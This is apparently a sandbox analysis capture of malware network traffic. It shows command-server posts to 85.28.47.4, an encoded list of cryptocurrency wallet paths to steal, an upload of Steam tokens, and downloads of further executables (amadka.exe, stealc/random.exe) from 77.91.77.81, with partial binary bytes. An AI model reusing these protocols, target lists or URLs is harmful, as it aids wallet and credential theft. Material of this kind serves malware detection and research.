Jul 2, 2024 12:21:08.508421898 CEST	464	OUT	POST /920475a59bac849d.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----CGIDGCGIEGDGDGDGHJKK Host: 85.28.47.4 Content-Length: 267 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 43 47 49 44 47 43 47 49 45 47 44 47 44 47 44 47 48 4a 4b 4b 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 30 31 36 64 38 30 65 61 31 39 37 62 61 38 31 33 33 36 63 35 61 30 30 32 31 63 65 63 65 65 36 39 66 66 66 32 31 32 30 63 64 34 35 33 63 33 36 65 65 63 34 35 65 65 33 39 62 39 36 35 37 32 39 37 32 31 35 36 66 30 34 34 0d 0a 2d 2d 2d 2d 2d 2d 43 47 49 44 47 43 47 49 45 47 44 47 44 47 44 47 48 4a 4b 4b 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 77 61 6c 6c 65 74 73 0d 0a 2d 2d 2d 2d 2d 2d 43 47 49 44 47 43 47 49 45 47 44 47 44 47 44 47 48 4a 4b 4b 2d 2d 0d 0a Data Ascii: ------CGIDGCGIEGDGDGDGHJKKContent-Disposition: form-data; name="token"016d80ea197ba81336c5a0021cecee69fff2120cd453c36eec45ee39b96572972156f044------CGIDGCGIEGDGDGDGHJKKContent-Disposition: form-data; name="message"wallets------CGIDGCGIEGDGDGDGHJKK--
Jul 2, 2024 12:21:08.686798096 CEST	1236	IN	HTTP/1.1 200 OK Date: Tue, 02 Jul 2024 10:21:08 GMT Server: Apache/2.4.41 (Ubuntu) Vary: Accept-Encoding Content-Length: 2408 Keep-Alive: timeout=5, max=84 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8 Data Raw: 51 6d 6c 30 59 32 39 70 62 69 42 44 62 33 4a 6c 66 44 46 38 58 45 4a 70 64 47 4e 76 61 57 35 63 64 32 46 73 62 47 56 30 63 31 78 38 64 32 46 73 62 47 56 30 4c 6d 52 68 64 48 77 78 66 45 4a 70 64 47 4e 76 61 57 34 67 51 32 39 79 5a 53 42 50 62 47 52 38 4d 58 78 63 51 6d 6c 30 59 32 39 70 62 6c 78 38 4b 6e 64 68 62 47 78 6c 64 43 6f 75 5a 47 46 30 66 44 42 38 52 47 39 6e 5a 57 4e 76 61 57 35 38 4d 58 78 63 52 47 39 6e 5a 57 4e 76 61 57 35 63 66 43 70 33 59 57 78 73 5a 58 51 71 4c 6d 52 68 64 48 77 77 66 46 4a 68 64 6d 56 75 49 45 4e 76 63 6d 56 38 4d 58 78 63 55 6d 46 32 5a 57 35 63 66 43 70 33 59 57 78 73 5a 58 51 71 4c 6d 52 68 64 48 77 77 66 45 52 68 5a 57 52 68 62 48 56 7a 49 45 31 68 61 57 35 75 5a 58 52 38 4d 58 78 63 52 47 46 6c 5a 47 46 73 64 58 4d 67 54 57 46 70 62 6d 35 6c 64 46 78 33 59 57 78 73 5a 58 52 7a 58 48 78 7a 61 47 55 71 4c 6e 4e 78 62 47 6c 30 5a 58 77 77 66 45 4a 73 62 32 4e 72 63 33 52 79 5a 57 46 74 49 45 64 79 5a 57 56 75 66 44 46 38 58 45 4a 73 62 32 4e 72 63 33 52 79 5a 57 [TRUNCATED] Data Ascii: Qml0Y29pbiBDb3JlfDF8XEJpdGNvaW5cd2FsbGV0c1x8d2FsbGV0LmRhdHwxfEJpdGNvaW4gQ29yZSBPbGR8MXxcQml0Y29pblx8KndhbGxldCouZGF0fDB8RG9nZWNvaW58MXxcRG9nZWNvaW5cfCp3YWxsZXQqLmRhdHwwfFJhdmVuIENvcmV8MXxcUmF2ZW5cfCp3YWxsZXQqLmRhdHwwfERhZWRhbHVzIE1haW5uZXR8MXxcRGFlZGFsdXMgTWFpbm5ldFx3YWxsZXRzXHxzaGUqLnNxbGl0ZXwwfEJsb2Nrc3RyZWFtIEdyZWVufDF8XEJsb2Nrc3RyZWFtXEdyZWVuXHdhbGxldHNcfCouKnwxfFdhc2FiaSBXYWxsZXR8MXxcV2FsbGV0V2FzYWJpXENsaWVudFxXYWxsZXRzXHwqLmpzb258MHxFdGhlcmV1bXwxfFxFdGhlcmV1bVx8a2V5c3RvcmV8MHxFbGVjdHJ1bXwxfFxFbGVjdHJ1bVx3YWxsZXRzXHwqLip8MHxFbGVjdHJ1bUxUQ3wxfFxFbGVjdHJ1bS1MVENcd2FsbGV0c1x8Ki4qfDB8RXhvZHVzfDF8XEV4b2R1c1x8ZXhvZHVzLmNvbmYuanNvbnwwfEV4b2R1c3wxfFxFeG9kdXNcfHdpbmRvdy1zdGF0ZS5qc29ufDB8RXhvZHVzXGV4b2R1cy53YWxsZXR8MXxcRXhvZHVzXGV4b2R1cy53YWxsZXRcfHBhc3NwaHJhc2UuanNvbnwwfEV4b2R1c1xleG9kdXMud2FsbGV0fDF8XEV4b2R1c1xleG9kdXMud2FsbGV0XHxzZWVkLnNlY298MHxFeG9kdXNcZXhvZHVzLndhbGxldHwxfFxFeG9kdXNcZXhvZHVzLndhbGxldFx8aW5mby5zZWNvfDB8RWxlY3Ryb24gQ2FzaHwxfFxFbGVjdHJvbkNhc2hcd2FsbGV0c1x8Ki4qfDB8TXVsdGlEb2dlfDF8
Jul 2, 2024 12:21:08.689436913 CEST	462	OUT	POST /920475a59bac849d.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----DAKEBAKFHCFHIEBFBAFB Host: 85.28.47.4 Content-Length: 265 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 44 41 4b 45 42 41 4b 46 48 43 46 48 49 45 42 46 42 41 46 42 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 30 31 36 64 38 30 65 61 31 39 37 62 61 38 31 33 33 36 63 35 61 30 30 32 31 63 65 63 65 65 36 39 66 66 66 32 31 32 30 63 64 34 35 33 63 33 36 65 65 63 34 35 65 65 33 39 62 39 36 35 37 32 39 37 32 31 35 36 66 30 34 34 0d 0a 2d 2d 2d 2d 2d 2d 44 41 4b 45 42 41 4b 46 48 43 46 48 49 45 42 46 42 41 46 42 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 66 69 6c 65 73 0d 0a 2d 2d 2d 2d 2d 2d 44 41 4b 45 42 41 4b 46 48 43 46 48 49 45 42 46 42 41 46 42 2d 2d 0d 0a Data Ascii: ------DAKEBAKFHCFHIEBFBAFBContent-Disposition: form-data; name="token"016d80ea197ba81336c5a0021cecee69fff2120cd453c36eec45ee39b96572972156f044------DAKEBAKFHCFHIEBFBAFBContent-Disposition: form-data; name="message"files------DAKEBAKFHCFHIEBFBAFB--
Jul 2, 2024 12:21:08.868158102 CEST	202	IN	HTTP/1.1 200 OK Date: Tue, 02 Jul 2024 10:21:08 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 0 Keep-Alive: timeout=5, max=83 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8
Jul 2, 2024 12:21:08.884488106 CEST	560	OUT	POST /920475a59bac849d.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----FIDAFIEBFCBKFHIDHIJE Host: 85.28.47.4 Content-Length: 363 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 46 49 44 41 46 49 45 42 46 43 42 4b 46 48 49 44 48 49 4a 45 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 30 31 36 64 38 30 65 61 31 39 37 62 61 38 31 33 33 36 63 35 61 30 30 32 31 63 65 63 65 65 36 39 66 66 66 32 31 32 30 63 64 34 35 33 63 33 36 65 65 63 34 35 65 65 33 39 62 39 36 35 37 32 39 37 32 31 35 36 66 30 34 34 0d 0a 2d 2d 2d 2d 2d 2d 46 49 44 41 46 49 45 42 46 43 42 4b 46 48 49 44 48 49 4a 45 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 5f 6e 61 6d 65 22 0d 0a 0d 0a 63 33 52 6c 59 57 31 66 64 47 39 72 5a 57 35 7a 4c 6e 52 34 64 41 3d 3d 0d 0a 2d 2d 2d 2d 2d 2d 46 49 44 41 46 49 45 42 46 43 42 4b 46 48 49 44 48 49 4a 45 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 22 0d 0a 0d 0a 0d 0a 2d 2d 2d 2d 2d [TRUNCATED] Data Ascii: ------FIDAFIEBFCBKFHIDHIJEContent-Disposition: form-data; name="token"016d80ea197ba81336c5a0021cecee69fff2120cd453c36eec45ee39b96572972156f044------FIDAFIEBFCBKFHIDHIJEContent-Disposition: form-data; name="file_name"c3RlYW1fdG9rZW5zLnR4dA==------FIDAFIEBFCBKFHIDHIJEContent-Disposition: form-data; name="file"------FIDAFIEBFCBKFHIDHIJE--
Jul 2, 2024 12:21:09.594208002 CEST	202	IN	HTTP/1.1 200 OK Date: Tue, 02 Jul 2024 10:21:08 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 0 Keep-Alive: timeout=5, max=82 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8
Jul 2, 2024 12:21:09.620091915 CEST	467	OUT	POST /920475a59bac849d.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----KKJKFBKKECFHJKEBKEHI Host: 85.28.47.4 Content-Length: 270 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 4b 4b 4a 4b 46 42 4b 4b 45 43 46 48 4a 4b 45 42 4b 45 48 49 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 30 31 36 64 38 30 65 61 31 39 37 62 61 38 31 33 33 36 63 35 61 30 30 32 31 63 65 63 65 65 36 39 66 66 66 32 31 32 30 63 64 34 35 33 63 33 36 65 65 63 34 35 65 65 33 39 62 39 36 35 37 32 39 37 32 31 35 36 66 30 34 34 0d 0a 2d 2d 2d 2d 2d 2d 4b 4b 4a 4b 46 42 4b 4b 45 43 46 48 4a 4b 45 42 4b 45 48 49 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 6a 62 64 74 61 69 6a 6f 76 67 0d 0a 2d 2d 2d 2d 2d 2d 4b 4b 4a 4b 46 42 4b 4b 45 43 46 48 4a 4b 45 42 4b 45 48 49 2d 2d 0d 0a Data Ascii: ------KKJKFBKKECFHJKEBKEHIContent-Disposition: form-data; name="token"016d80ea197ba81336c5a0021cecee69fff2120cd453c36eec45ee39b96572972156f044------KKJKFBKKECFHJKEBKEHIContent-Disposition: form-data; name="message"jbdtaijovg------KKJKFBKKECFHJKEBKEHI--
Jul 2, 2024 12:21:10.318295002 CEST	331	IN	HTTP/1.1 200 OK Date: Tue, 02 Jul 2024 10:21:09 GMT Server: Apache/2.4.41 (Ubuntu) Vary: Accept-Encoding Content-Length: 104 Keep-Alive: timeout=5, max=81 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8 Data Raw: 61 48 52 30 63 44 6f 76 4c 7a 63 33 4c 6a 6b 78 4c 6a 63 33 4c 6a 67 78 4c 32 31 70 62 6d 55 76 59 57 31 68 5a 47 74 68 4c 6d 56 34 5a 58 77 77 66 44 42 38 66 47 68 30 64 48 41 36 4c 79 38 33 4e 79 34 35 4d 53 34 33 4e 79 34 34 4d 53 39 6a 62 33 4e 30 4c 32 64 76 4c 6d 56 34 5a 58 77 77 66 44 42 38 66 41 3d 3d Data Ascii: aHR0cDovLzc3LjkxLjc3LjgxL21pbmUvYW1hZGthLmV4ZXwwfDB8fGh0dHA6Ly83Ny45MS43Ny44MS9jb3N0L2dvLmV4ZXwwfDB8fA==

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1	192.168.2.7	49700	77.91.77.81	80	3752	C:\Users\user\Desktop\file.exe

Timestamp	Bytes transferred	Direction	Data
Jul 2, 2024 12:21:10.327271938 CEST	77	OUT	GET /mine/amadka.exe HTTP/1.1 Host: 77.91.77.81 Cache-Control: no-cache
Jul 2, 2024 12:21:11.031467915 CEST	1236	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Tue, 02 Jul 2024 10:21:10 GMT Content-Type: application/octet-stream Content-Length: 1905152 Last-Modified: Tue, 02 Jul 2024 09:29:28 GMT Connection: keep-alive ETag: "6683c878-1d1200" Accept-Ranges: bytes Data Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 01 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 cc 13 50 4a 88 72 3e 19 88 72 3e 19 88 72 3e 19 d3 1a 3d 18 86 72 3e 19 d3 1a 3b 18 28 72 3e 19 5d 1f 3a 18 9a 72 3e 19 5d 1f 3d 18 9e 72 3e 19 5d 1f 3b 18 fd 72 3e 19 d3 1a 3a 18 9c 72 3e 19 d3 1a 3f 18 9b 72 3e 19 88 72 3f 19 5e 72 3e 19 13 1c 37 18 89 72 3e 19 13 1c c1 19 89 72 3e 19 13 1c 3c 18 89 72 3e 19 52 69 63 68 88 72 3e 19 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 07 00 84 ea 61 66 00 00 00 00 00 00 00 00 e0 00 02 01 0b 01 0e 18 00 e4 04 00 00 c6 01 00 00 00 00 00 00 70 4b 00 00 10 00 00 00 00 05 00 00 00 40 00 00 10 00 00 00 02 00 00 06 00 00 00 00 00 00 00 06 00 00 00 00 00 00 00 00 a0 [TRUNCATED] Data Ascii: MZ@!L!This program cannot be run in DOS mode.$PJr>r>r>=r>;(r>]:r>]=r>];r>:r>?r>r?^r>7r>r><r>Richr>PELafpK@K:@XlWKLWK @.rsrc@.idata @ *@rqnxqxgu`1@iottqqkv`K@.taggant0pK"@
Jul 2, 2024 12:21:11.031559944 CEST	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Jul 2, 2024 12:21:11.031573057 CEST	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Jul 2, 2024 12:21:11.031584024 CEST	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Jul 2, 2024 12:21:11.031599045 CEST	1236	IN	Data Raw: cd ff 18 ff 3f 1b c7 99 5e 6b b2 64 27 0b 9e 9c 60 0a 3a 2f e5 d2 60 20 af 83 2f f4 01 ff 58 fe 7f 1f 69 97 fb 7b ed fe 57 ee 2f a9 de 1b a0 ff 56 bf 06 00 7c fc 5f 09 df 3b 71 d7 b2 7f 29 e8 6f 1f ad 05 ee 18 6a e8 1f 23 26 b6 94 ab 02 dd cf 63 Data Ascii: ?^kd'`:/` /Xi{W/V\|_;q)oj#&c@^%<fcv_f96iLw`:,y;`8r'\X"j2i/^F\@@-qq}\2Wr(}h`91$iOY
Jul 2, 2024 12:21:11.031611919 CEST	1236	IN	Data Raw: e3 c1 60 5c cf 4e 31 63 f3 21 8f 28 dd 23 5d e4 df 5f a4 94 67 16 55 dd 74 1d 0d 11 9e 29 1d 50 38 38 ab 06 8e 87 74 e4 87 83 7a 68 4c aa cf 24 e3 19 23 65 0b 51 4e d3 2b 1e c3 28 2a fc 78 98 91 46 ac 09 67 85 61 29 de 5c 49 21 76 11 ad d5 35 27 Data Ascii: `\N1c!(#]_gUt)P88tzhL$#eQN+(*xFga)\I!v5'&swP/YZp4$JN4H,X-UBYq@=6sYn!jO,P"^JRq45$La]ne})kxnC /Vqk:!$K]+]
Jul 2, 2024 12:21:11.031687975 CEST	1236	IN	Data Raw: 36 73 25 ff 04 f6 d9 3e a6 c5 5a e7 93 25 e1 a0 35 a7 d6 a4 57 e3 a3 28 68 cf f6 c0 6b 65 5f ec f2 18 1f 8e 69 a1 f0 3c be aa f7 f8 ee 1f 09 d4 d9 b2 95 29 e3 0a 3c e4 07 59 22 b6 90 bb b0 95 ef 65 a4 a6 43 85 ab 4f 36 8e 14 0c 23 6f c5 fa 9e 64 Data Ascii: 6s%>Z%5W(hke_i<)<Y"eCO6#odeA.d@Vt\k.R5q{Cn>/s8yShS29`FdQzK$?:PTy:"{upV-oh)yb
Jul 2, 2024 12:21:11.031699896 CEST	1236	IN	Data Raw: e0 62 1e ce 6e 0d cf 52 bf 07 34 a2 df 6f 73 2e 48 8b cc 17 54 3a a9 f1 e0 94 44 6e e9 8c 08 cd ee 63 3b e4 cc ad b1 5d 16 a7 ef 57 46 e6 6d ee ac 5b 71 1f e6 6d ab 7a ac 9c 1e a0 3b 8a 76 21 e9 e1 e6 3a 80 72 b8 0e 79 17 f2 e1 81 a1 d1 60 f8 c9 Data Ascii: bnR4os.HT:Dnc;]WFm[qmz;v!:ry`&x?Mzy'*qu0]y66~w,3qd6~gXyOv2)%x..R\R_U~nW>)<aB\|dX48P;P!Ex}WY
Jul 2, 2024 12:21:11.031711102 CEST	1236	IN	Data Raw: 5a d1 7b 04 42 69 0d 89 b1 ea 9f 8b 17 9b 9d 34 49 ae 6a a4 29 d3 2e 94 f0 96 22 8f a5 c4 6d c6 5a 55 6e 11 33 37 b5 59 9d db ae 26 a7 de d8 74 b9 b9 3f fd a1 5d 57 e4 23 79 63 34 2a af 95 25 61 41 3d 5a 9c 21 33 1d d9 30 8e e8 6d 5e 37 60 26 a3 Data Ascii: Z{Bi4Ij)."mZUn37Y&t?]W#yc4*%aA=Z!30m^7`&VfZr']>t?[]uYnn>N+DA9ag~S3w1h^%L',CgVXh0j9;W,H,22
Jul 2, 2024 12:21:11.031856060 CEST	1236	IN	Data Raw: 93 56 3d 90 2f 1a 33 78 b4 b2 5e ce f8 5b 0e a3 ee 69 d1 da d4 10 70 60 f0 99 83 88 8e 7b b2 36 7e 2b 1f 70 d7 24 22 2c 5e 16 36 37 b4 89 72 9c e7 79 4f 62 6f f0 f1 23 36 4d d8 6b dd 7c 24 76 47 3b 1a af 4e 87 91 9a e9 05 f5 f3 eb a1 c1 e8 76 97 Data Ascii: V=/3x^[ip`{6~+p$",^67ryObo#6Mk\|$vG;Nvu\ZZz.Arqf_,&{5)tkBS*1US6cof@`W7'#P/mp@_$Mj~D>dukd`Rlsh%
Jul 2, 2024 12:21:11.036690950 CEST	1236	IN	Data Raw: a2 b4 ad 9c 57 1f 2a e1 5c eb fc 02 70 97 c9 95 d4 d0 73 be d2 09 c4 06 35 bb ea d5 69 b9 c1 d3 d4 5b 74 89 9a 32 cd ae 1e b0 2e 8a 2e 8c b4 52 31 b8 37 57 b5 41 1e b6 91 01 ff 52 21 22 86 1d e1 18 5d 27 1d ff c3 22 eb 6d 85 86 df 60 03 48 03 d7 Data Ascii: W\ps5i[t2..R17WAR!"]'"m`HzR[uVdx3;?p;Z;o<;B<A3X(;B"Y5_{1{3C2>bVa+r*1.UaOaTm1WL^mEKk\|b

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
2	192.168.2.7	55236	77.91.77.82	80	8188	C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe

Timestamp	Bytes transferred	Direction	Data
Jul 2, 2024 12:21:23.717962980 CEST	151	OUT	POST /Hun4Ko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 77.91.77.82 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Jul 2, 2024 12:21:27.449906111 CEST	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Tue, 02 Jul 2024 10:21:27 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0
Jul 2, 2024 12:21:27.454011917 CEST	311	OUT	POST /Hun4Ko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 77.91.77.82 Content-Length: 162 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 42 38 31 42 34 45 46 41 38 45 30 43 46 37 42 43 31 31 38 34 38 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 42 42 42 32 41 37 39 42 34 35 31 38 32 44 31 32 46 43 34 37 44 42 32 33 43 41 39 36 34 46 46 35 36 34 43 33 38 42 33 37 33 37 30 33 35 42 31 45 36 30 43 38 44 30 45 39 33 39 46 42 36 30 38 42 45 43 35 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58B81B4EFA8E0CF7BC11848B140BE1D46450FC9DDF642E3BDD70A7BBB2A79B45182D12FC47DB23CA964FF564C38B3737035B1E60C8D0E939FB608BEC5
Jul 2, 2024 12:21:28.067233086 CEST	283	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Tue, 02 Jul 2024 10:21:27 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 35 64 0d 0a 20 3c 63 3e 31 30 30 30 30 30 36 30 30 31 2b 2b 2b 62 35 39 33 37 63 31 61 39 39 64 35 66 39 64 62 30 64 35 64 61 32 63 38 35 30 36 37 33 62 35 64 37 36 61 63 31 63 65 38 63 63 64 34 61 36 65 37 66 31 66 62 64 39 37 65 39 63 34 35 34 33 62 33 31 64 65 31 35 34 34 31 23 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 5d <c>1000006001+++b5937c1a99d5f9db0d5da2c850673b5d76ac1ce8ccd4a6e7f1fbd97e9c4543b31de15441#<d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
3	192.168.2.7	55237	77.91.77.81	80	8188	C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe

Timestamp	Bytes transferred	Direction	Data
Jul 2, 2024 12:21:28.089421034 CEST	54	OUT	GET /stealc/random.exe HTTP/1.1 Host: 77.91.77.81
Jul 2, 2024 12:21:28.807576895 CEST	1236	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Tue, 02 Jul 2024 10:21:28 GMT Content-Type: application/octet-stream Content-Length: 2533376 Last-Modified: Tue, 02 Jul 2024 08:05:15 GMT Connection: keep-alive ETag: "6683b4bb-26a800" Accept-Ranges: bytes Data Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 f8 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 4a 8c 64 5a 0e ed 0a 09 0e ed 0a 09 0e ed 0a 09 61 9b a1 09 16 ed 0a 09 61 9b 94 09 03 ed 0a 09 61 9b a0 09 35 ed 0a 09 07 95 89 09 0d ed 0a 09 07 95 99 09 0c ed 0a 09 8e 94 0b 08 0d ed 0a 09 0e ed 0b 09 5a ed 0a 09 61 9b a5 09 01 ed 0a 09 61 9b 97 09 0f ed 0a 09 52 69 63 68 0e ed 0a 09 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 06 00 f6 41 83 66 00 00 00 00 00 00 00 00 e0 00 02 01 0b 01 0a 00 00 ac 01 00 00 e8 21 00 00 00 00 00 28 8e be 00 00 10 00 00 00 c0 01 00 00 00 40 00 00 10 00 00 00 02 00 00 05 00 01 00 00 00 00 00 05 00 01 00 00 00 00 00 00 b0 be 00 00 04 00 00 00 00 [TRUNCATED] Data Ascii: MZ@!L!This program cannot be run in DOS mode.$JdZaaa5ZaaRichPELAf!(@@ `,o`@@@0!@@Pp# @px#(@.data"0t"4@
Jul 2, 2024 12:21:28.807614088 CEST	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 de f3 f8 1e 47 95 e4 93 b7 ac 20 a2 01 27 5c 06 e1 f5 95 c0 a5 8b 5b 91 a2 Data Ascii: G '\[+[,~d?QX@(U)=[3]1+j-w>#?G~.BB4XJM2kEK>bDuV/OC6dTD-AU%LVD>'\|5i%`N6V)P
Jul 2, 2024 12:21:28.807629108 CEST	1236	IN	Data Raw: 23 f0 bd 27 cb ff 32 d8 7f 9e 36 6f 53 57 9a f5 46 90 93 a4 ce f0 c2 78 88 03 e8 8a fe 46 c7 26 70 e6 5a a5 e6 b7 fc 1c 28 2c d9 2a 97 37 bc c9 a9 bc b5 71 d0 35 fd 5d 0f a9 51 5d d3 b4 62 92 64 4c b6 be af 15 63 d9 d1 4d ee 85 96 d7 8d dd 85 9d Data Ascii: #'26oSWFxF&pZ(,*7q5]Q]bdLcM\0JQ0I0&+4`G^sxt~8PE4Z~8GU+})Hq^<a;N[F0Hv}9OAnW`=#},>6m e{
Jul 2, 2024 12:21:28.807642937 CEST	1236	IN	Data Raw: 0e 3e 5b 61 64 9d 0c a1 4c da b2 6b 8a 43 aa d1 ab e2 1d d8 d1 4d e3 e7 53 8d a7 1a cc 4c 41 ad f0 14 7d c1 05 18 da 0b 32 c5 9c 01 23 30 f6 b4 21 29 d9 fd 07 7d 04 e7 34 59 52 53 10 68 e9 f2 8e 72 8c 52 4c c9 8e b6 8b 10 52 5e 22 b2 77 ee 5c ff Data Ascii: >[adLkCMSLA}2#0!)}4YRShrRLR^"w\6B}2mFm\|)S4`37,go1"5Z~lzHbfH5\b4GYu(-mvpKGoaX@h/wk-p!UHRW
Jul 2, 2024 12:21:28.807657957 CEST	1236	IN	Data Raw: e3 86 7f 3e 82 ce b0 82 ff 97 a7 05 eb 29 cc bb 1f cb bb b8 be 16 06 3c 55 b1 0a e8 35 ea 8e a2 62 9d e8 03 d1 45 c4 8c 32 41 9e a0 a5 99 b1 ac 19 dd 34 29 5e 6f 06 9f 61 cb 17 73 cf ef 7c 98 a9 ff 2a 14 a0 aa e7 34 d1 e5 b8 38 75 02 37 34 44 fe Data Ascii: >)<U5bE2A4)^oas\|48u74D\|EO."NIX5tyed>j\d)8w.6cLry^;+pUd9&gn5Jljuj*JEgT
